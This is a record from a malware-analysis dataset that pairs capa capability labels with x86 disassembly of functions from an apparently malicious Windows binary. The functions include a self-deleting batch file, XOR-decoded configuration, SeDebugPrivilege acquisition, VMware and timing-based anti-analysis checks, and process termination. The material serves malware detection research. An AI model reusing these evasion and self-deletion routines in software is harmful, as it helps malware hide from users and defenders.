joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a7d0
Capabilities:
Create process on windows
Delete file
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x920
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, str.afc9fe2f418b00a0.bat
lea edi, [esp + 0xc]
lea eax, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
push 0x104
push eax
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x128]
push str._echo_off_n_r
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0xa
lea edx, [esp + 0x128]
push str._del_3596799a1543bc9f.aqq_n_r
push edx
call esi
dec edi
jne 0x40a849
lea eax, [esp + 0x128]
push str._del__
push eax
call esi
lea ecx, [esp + 0x24]
lea edx, [esp + 0x128]
push ecx
push edx
call esi
lea eax, [esp + 0x128]
push 0x42c350
push eax
call esi
lea ecx, [esp + 0x128]
push str._del
push ecx
call esi
lea edx, [esp + 0xc]
lea eax, [esp + 0x128]
push edx
push eax
call esi
lea ecx, [esp + 0x128]
push str._n_r_exit
push ecx
call esi
push 0
push 0
push 2
push 0
push 0
lea edx, [esp + 0x20]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 8]
push 0
push eax
lea ecx, [esp + 0x130]
push 0x800
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40aad0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x18]
xor ebp, ebp
push 0x104
mov dword [esp + 0x14], ecx
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x18]
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea ebx, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x20]
and ecx, 3
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 1
and ecx, 3
lea eax, [esp + 0x2c]
push 0x80000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40ac00
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.0041ab6e
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebp
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x40abea
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40abdc
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.0040aa70
push esi
mov ebp, eax
call fcn.0041ab7c
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x40d480
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x40d633
cmp dword [esi + 0x1c], edi
je 0x40d633
call fcn.0040da40
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.0040d880
lea eax, [esp + 0x10]
push eax
call dword [0x4311dc]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.0040d880
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [0x4311e0]
test eax, eax
je 0x40d516
cmp dword [esp + 0x1c], 1
jne 0x40d516
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x40d503
inc edi
add eax, 4
cmp edi, 0x10
jl 0x40d4f6
push ecx
call dword [0x431234]
cmp edi, 0x10
jne 0x40d512
or edi, 0xffffffff
mov eax, edi
jmp 0x40d519
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.0040d880
cmp byte [ebx], 2
jne 0x40d581
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.0040da80
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.0040dae0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x4321ec]
cmp ecx, eax
mov edi, edx
je 0x40d5ae
push edi
mov ecx, esi
call fcn.0040d640
test al, al
je 0x40d5ae
add edi, 0x13
jmp 0x40d5b1
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x40d5cf
push edi
mov ecx, esi
call fcn.0040d640
test al, al
je 0x40d5c5
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x40d5b6
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x4321ec], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x40d61c
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x40d60b
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x40db90
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x425418
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.0040ad40
push str.CServicesManager::CServicesManager
mov dword [esp + 0x14], 0
mov dword [esi], 0x42634c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, esi
call fcn.0040dc50
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x40e5d0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [esi + 0x28]
mov dword [esi], 0x426364
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebx
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
push 1
call ebx
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
push 1
call ebx
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x40e636
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40e640
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40e64a
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40e654
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.0040ad90
pop edi
pop esi
pop ebx
ret

Function at 0x40e9d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.0040e870
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40ea18
push ebx
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40e9f3
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40f0b0
Capabilities:
Get common file path
Write file on windows

Disassembly:
mov eax, dword [0x4321e4]
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push str.GGGGGG
push eax
call fcn.00405570
add eax, 6
lea ecx, [esp + 0x1c]
push eax
push ecx
call dword [0x43125c]
mov edx, dword [0x4321e4]
push str.XXXXXX
push edx
call fcn.00405570
add esp, 0x18
mov ebx, eax
lea eax, [esp + 0x34]
add ebx, 6
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x42b1f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x38]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
push 1
lea eax, [esp + 0x48]
push 0xc0000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x40f1b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov eax, dword [0x4321e4]
sub esp, 0x34c
push ebx
push ebp
push esi
push edi
push str.XXXXXX
push eax
call fcn.00405570
add esp, 8
lea ecx, [esp + 0x14]
mov ebx, eax
push 0x104
push ecx
add ebx, 6
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x42b1f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x40f256
call fcn.0040f0b0
xor eax, eax
mov ecx, 0x41
push eax
push 0x80
push 3
push eax
lea edi, [esp + 0x128]
push 1
lea edx, [esp + 0x28]
push 0x10000000
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x120]
push 0x104
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [esp + 0x364]
mov ebx, dword [0x43125c]
test eax, eax
jne 0x40f2ba
push str.Default
push edi
call ebx
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x118]
push edx
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push edi
call esi
test eax, eax
jne 0x40f2e7
push str.Default
push edi
call ebx
add esp, 8
push edi
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34c
ret
Function at 0x40f300
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub esp, 0x294
push ebx
push ebp
push esi
lea eax, [esp + 0x44]
push edi
push eax
mov byte [esp + 0x48], 0x66
mov byte [esp + 0x118], 0
mov dword [esp + 0x4c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [esp + 0x2a8]
lea ecx, [esp + 0x1a4]
push 0x100
push ecx
push ebx
call fcn.0040f010
mov ebp, dword [esp + 0x2b8]
xor edx, edx
mov dword [esp + 0x20], edx
add esp, 0xc
mov dword [esp + 0x18], edx
lea eax, [esp + 0x10]
mov dword [esp + 0x1c], edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x1c], 0x10
call dword [0x431314]
mov eax, dword [esp + 0x18]
mov ecx, 8
lea esi, [esp + 0x1a4]
lea edi, [esp + 0xf4]
mov dword [esp + 0xf0], eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040ed30
lea ecx, [esp + 0x180]
mov dword [esp + 0xe4], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x194]
mov dword [esp + 0xe8], edx
call fcn.0040ed90
mov byte [esp + 0x114], al
mov eax, dword [esp + 0x2b0]
lea ecx, [esp + 0x24]
mov dword [esp + 0x118], eax
push ecx
mov dword [esp + 0x28], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x2c]
shr edx, 0x14
mov dword [esp + 0x11c], edx
call fcn.0040ef40
mov dword [esp + 0xec], eax
mov eax, dword [0x4321e4]
push str.VVVVVV
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.JJJJJJ
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x4321e4]
push ecx
call fcn.00405570
add esp, 0x14
test eax, eax
je 0x40f4b7
mov edx, dword [0x4321e4]
push str.JJJJJJ
push edx
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
mov esi, eax
mov eax, dword [0x4321e4]
push str.NNNNNN
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
push esi
mov edi, eax
call fcn.004134b0
add esp, 0x1c
lea edx, [esp + 0x160]
test eax, eax
jne 0x40f4c3
mov edi, 0x42c6dc
jmp 0x40f4c3
lea edx, [esp + 0x160]
mov edi, 0x42c6d8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x144]
push ecx
push ebx
call fcn.0040f1b0
add esp, 0xc
lea edx, [esp + 0x44]
mov ecx, ebp
push 0x13c
push edx
call fcn.00402580
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x294
ret
Function at 0x40f510
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x14]
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebx, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
push 4
rep movsb byte es:[edi], byte [esi]
mov edi, str..log
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 2
and ecx, 3
lea eax, [esp + 0x28]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [esp + 0x10], 0
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [esp + 0x11c]
lea ecx, [esp + 0x10]
push 0
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret

Function at 0x4108c0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [0x4310c8]
test eax, eax
je 0x410924
lea edx, [esp + 8]
push edx
push str.SeDebugPrivilege
push 0
call dword [0x4310cc]
test eax, eax
je 0x410919
mov ecx, dword [esp]
push 0
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [0x4310d0]
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x14
ret
Function at 0x4109b0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
mov ebx, eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x100000
call fcn.0041ab6e
mov esi, eax
mov ecx, 0x40000
mov eax, 0x2e2e2e2e
mov edi, esi
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x18]
add esp, 4
test edi, edi
jle 0x410a22
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 0x14]
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ebx
call ebp
dec edi
jne 0x410a0b
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x410b30
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
mov ebp, dword [0x431278]
push esi
push edi
push 0x42c85c
push 0
call dword [0x43126c]
mov ebx, eax
test ebx, ebx
jne 0x410b57
push 8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410b3a
push 0
push ebx
call dword [0x4311c0]
push 5
push ebx
call ebp
mov esi, eax
test esi, esi
je 0x410b3a
push 0x42c8b0
push 0
push 0
push esi
call dword [0x431274]
mov edi, eax
test edi, edi
jne 0x410b8e
push 2
push esi
call ebp
mov esi, eax
test esi, esi
jne 0x410b6b
jmp 0x410b3a
push 0
push 0
push 0
push 0x410a90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0xf5
push edi
call dword [0x431268]
push 0
push ebx
call dword [0x4311c0]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410bb3

Function at 0x410eb0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4263c0
push 0x41b808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410f50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x240
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x28]
mov dword [esp + 0x24], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x20], esi
je 0x4110b6
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4110af
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov bl, 0x65
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x2c], eax
jne 0x41108b
mov ecx, dword [esp + 0x3c]
push ecx
push 0
push 0x1f0fff
call ebp
mov esi, eax
test esi, esi
je 0x4110b6
lea edx, [esp + 0x14c]
push 0x104
push edx
push 0
push esi
call fcn.00424eaf
test eax, eax
je 0x4110b6
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], 0x78
mov byte [esp + 0x12], 0x70
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x14c]
sub edx, ecx
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
add edx, ecx
push edx
push eax
call fcn.00424070
add esp, 8
test eax, eax
je 0x41109f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x24]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4110af
jmp 0x410fc4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x240
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret